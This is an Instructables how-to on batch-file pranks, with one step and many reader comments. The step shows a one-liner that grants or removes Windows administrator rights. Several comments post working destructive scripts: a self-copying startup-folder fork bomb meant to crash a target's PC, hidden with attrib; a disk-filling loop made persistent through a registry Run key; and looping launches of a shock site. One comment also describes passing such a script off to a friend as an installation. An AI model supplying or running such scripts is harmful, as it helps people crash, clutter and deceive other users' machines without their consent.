fun things to do with batch files

fun things to do with batch files
ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)
 
Remove these adsRemove these ads by Signing Up
 

Step 1Fun thing #1

fun thing #1
this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)
« Previous StepDownload PDFView All StepsNext Step »
80 comments
1-40 of 80next »
Dec 15, 2011. 11:23 PMKingfisher111 says:
Meat Spin makes me sick
Oct 28, 2011. 12:07 AMmonkeys98 says:
msg is not recognised as an internal or external command
Sep 25, 2011. 1:45 AMpangra says:
Whats the ping local host for
Oct 19, 2010. 3:28 PM11rex11 says:
i did something really evil i used a simpler code but it in a folder and put that in a folder and that in a folder (times that by 2) and put all of them in a weird programs folder i then made a shortcut to it and put it in the start folder i only set the time limit to 5 seconds... }:P
Apr 26, 2010. 11:55 AMwinegums says:
 try this one

@echo off
start www.meatspin.com

or if your feeling particularly mean

@echo off
:A
start www.meatspin.com
goto A


this will open meatspin in an infinite loop.

note: the website can be substituted for one of your own choice if you wish :)
Sep 28, 2010. 7:34 AMmessmaker says:
want to get any noober?
May 1, 2010. 1:44 AMdawsonj says:
i wont even comment on that...
Sep 19, 2010. 1:58 PMpriv8tepir8te says:
In responce to poodie you could simple change the code.


echo :loop > C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\%username%\StartMenu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat

:start
start cmd /c copy "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp%random%.bat"
goto start

you could also hide the batch file using attrib -h -s- r


Sep 3, 2010. 10:23 AMspacetinker says:
BRING ME THE HORIZON!! idk song (i like death breath so ill go with that), does i get cookie??
Jun 28, 2010. 8:55 AMefficacy28 says:
Ooh ooh ooh! I made a batch file that either shutsdown, restarts, or even logsoff your computer in a specified time!

Here's the code:
@ECHO OFF
title Timed Shutdown v1.00 by Efficacy28
set /a hour="0"
set /a min="0"
set /a sec="0"
color FC
echo Timed Shutdown v1.00
echo Created by Efficacy28
echo Sunday June 28, 2010
echo.
pause
:choose
cls
echo Shutdown computer = S
echo Restart computer = R
echo Logoff computer = L
echo Exit this program = E
echo.
set /p choose="Hello, %username%, what would you like to do?: "
if %choose%==s goto begin
if %choose%==S goto begin
if %choose%==r goto begin
if %choose%==R goto begin
if %choose%==l goto begin
if %choose%==L goto begin
if %choose%==e goto exit
if %choose%==E (goto exit) else goto erchoose
:begin
cls
echo Right now = 1
echo In 5 seconds = 2
echo In 30 seconds = 3
echo In 1 minute = 4
echo In 5 minutes = 5
echo In 15 minutes = 6
echo In 30 minutes = 7
echo In 1 hour = 8
echo In 2 hours = 9
echo Specified time = 0
echo.
set /p userinp="What time would you like to shutdown? (0-9): "
if %userinp%==1 goto shutdown
if %userinp%==2 goto 5sec
if %userinp%==3 goto 30sec
if %userinp%==4 goto 1min
if %userinp%==5 goto 5min
if %userinp%==6 goto 15min
if %userinp%==7 goto 30min
if %userinp%==8 goto 1hr
if %userinp%==9 goto 2hr
if %userinp%==0 (goto specify) else goto erbegin
:yay
if %choose%==s goto shutdown
if %choose%==S goto shutdown
if %choose%==r goto restart
if %choose%==R goto restart
if %choose%==l goto logoff
if %choose%==L goto logoff
:shutdown
cls
@ECHO
shutdown -s
goto exit
:restart
cls
@ECHO
shutdown -r
goto exit
:logoff
cls
@ECHO
shutdown -l
goto exit
:5sec
cls
set /p userinp="Is 5 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="5"
goto start
:30sec
cls
set /p userinp="Is 30 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="30"
goto start
:1min
cls
set /p userinp="Is 1 minute the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="1"
goto start
:5min
cls
set /p userinp="Is 5 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="5"
goto start
:15min
cls
set /p userinp="Is 15 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="15"
goto start
:30min
cls
set /p userinp="Is 30 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="30"
goto start
:1hr
cls
set /p userinp="Is 1 hour the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="1"
goto start
:2hr
cls
set /p userinp="Is 2 hours the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="2"
goto start
:specify
cls
set /p hour="How many hours do you want to wait?: "
:min
cls
if %hour% LSS 0 goto errorhour
set /p min="How many minutes do you want to wait?: "
:sec
cls
if %min% GTR 59 (goto errormin)
if %min% LSS 0 goto poop
set /p sec="How many seconds do you want to wait?: "
cls
if %sec% GTR 59 (goto errorsec)
if %sec% LSS 0 goto poopie
goto correction
:correction
set /p userinp="Is %hour% hour(s), %min% minute(s), and %sec% second(s) the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
:start
cls
echo Your computer will be shutdown in %hour% hour(s)
echo %min% minute(s)
echo and %sec% second(s)...
set /a sec="%sec%-1"
ping -n 2 127.0.0.1 >NUL
if %sec%==-1 set /a min="%min%-1"
if %sec%==-1 set /a sec="59"
if %min%==-1 set /a hour="%hour%-1"
if %min%==-1 set /a min="59"
if %hour%==-1 goto yay
goto start
:errorhour
cls
echo %hour% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto specify
:errormin
cls
echo %min% minutes is bigger than 59! (60 minutes is an hour)
ping -n 5 127.0.0.1 >NUL
goto min
:poop
cls
echo %min% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto min
:errorsec
cls
echo %sec% seconds is bigger than 59! (60 seconds is a minute)
ping -n 5 127.0.0.1 >NUL
goto sec
:exit
cls
exit
:erchoose
cls
echo %choose% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto choose
:erbegin
cls
echo %userinp% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto begin

Or, just download it :P
http://www.megaupload.com/?d=KBZ3NIHP

Enjoy ^_^
Jul 8, 2010. 11:56 PMV1P says:
Kewl man !
May 22, 2010. 2:58 AMnutsandbolts_64 says:
 lol, in step 3: Your computer has been infected. Please wait for the infection to spread. Oh man, wait there's a problem. Okay, virus back to loading. And... shutdown... SHutdown, SHUTdown, SHUTDOWN NOW *#&$)@&$!!!!!! okay finally... <computer shuts down>
Mar 31, 2010. 12:50 AMpoodi says:
Best  bat file that can screw up a computer. Use wisely.

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start

This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefenatley. When the computer is rebooted it is likely to crash very quickly.

Will be very hard to undo. Mabie rebooting in safe mode will do it. Dunno really.

Only problem is that u need to change the part where its says USER for the username of the target.
May 18, 2010. 7:44 PMWin7Maniac says:
Instead, you can use this code:

echo :loop > %homepath%\Start Menu\Programs\startup\temp.bat
echo start temp >> %homepath%\Start Menu\Programs\startup\temp.bat
echo goto loop >> %homepath%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "%homepath%\Start Menu\Programs\startup\temp.bat" "%homepath%\Start Menu\Programs\startup\temp%random%.bat"
goto :start

Then you don't have to specify the USER directory.
May 14, 2010. 3:05 PMSaturn V says:
The second one is EVIL!!!

Evil, but highly effective.
Jan 2, 2010. 5:39 PMPMBell says:
this one is good i changed all of my friends desktop icons to that file and he got so pissed
Mar 3, 2009. 12:52 AMV1P says:
use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !
Jul 22, 2009. 8:07 PMnoobererer says:
HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)
Jul 23, 2009. 8:40 AMV1P says:
Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)
Dec 7, 2009. 9:56 AMuberdum05 says:
Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now.......
(muhahahaha!)
Jul 24, 2009. 6:56 PMnoobererer says:
second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P
Jul 8, 2010. 11:59 PMV1P says:
hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(
Jul 9, 2010. 8:28 PMnoobererer says:
Sweet! Can't wait to see 'em :)
May 9, 2009. 7:06 PMkarmakid732 says:
that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down
Mar 12, 2009. 9:43 PMghostWolf59 says:
Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
Mar 17, 2009. 3:10 AMV1P says:
Nice :)
Aug 30, 2009. 4:55 AMknex_mepalm says:
what does that do? Looks good, but i'm in no way to test it
Aug 30, 2009. 5:41 PMghostWolf59 says:
indefinite loop that sends out "0" to an ever growing log file
Sep 1, 2009. 4:03 AMknex_mepalm says:
i wanna prank my friend how long would the process take and how would the windows and such work?
Sep 1, 2009. 5:59 PMghostWolf59 says:
if you look closely at the script you'll notice its only sending out one character to the log followed by appending another character to the log (i.e its now two characters) and so on... The time it will take all depends on the size of the hard disk. Also note the if the disk is formatted with fat32 this will only work up to 4Gb. If the hdd is formatted using NTFS the limit is 16Tb. The thing to do is to add this little script to the windows startup of even add a registry entry to the "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run" (Please do NOT hack your registry unless you know exactly what you do - you may damage your system for good) (You can also add a shortcut that minimizes the the terminal window. As some other posts suggested - its really simple to end this task off by hitting CTRL-D so don't expect to much out of this.
Sep 2, 2009. 3:41 AMknex_mepalm says:
lol i told him it was an installation, but how would it show up as? a cmd with 0s?
Feb 11, 2011. 4:41 PMtigger888 says:
Thats why you make

@echo off
start tryandclosethis.bat
exit

have fun trying to end task this...
Sep 1, 2009. 5:42 PMghostWolf59 says:
I am not here to spread viruses or damaging forks ! As the title clearly states "fun things to do with batch files" the aim was to create some fun with bat files. If you are looking for damaging stuff I suggest you search some other warez posts on the web - this forum is definitely the wrong one.
Mar 17, 2009. 3:15 AMV1P says:
No offence 2 u mate 2 ! It's just a batch script , having 3 lines of code not a virus, so it can't be a FORK Bomb at all..., but is well enough to annoy you when a hoard of cmd screens pop-up in front of you, which can't be closed by pressing down Alt+F4. also, try switching on your taskmgr after executing this batch script, then I guess that it'll be pretty difficult to even bring up taskmgr at all. & even if it comes up, terminating all the cmd's will be a tedious task. It's just for fun & is not meant to do any harm to anyone... :P Though if you want fork bombs, then those also can be made... but with not 3 lines of code ... :)
Mar 26, 2009. 10:05 AMV1P says:
??????? wht was tht ?
May 6, 2011. 8:11 PMdarman12 says:
Meaning the number of windows opening increases at an exponential rate.
Sep 28, 2009. 12:28 AMbenny3521 says:
(removed by author or community request)
1-40 of 80next »

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
6
Followers
3
Author:kerpaul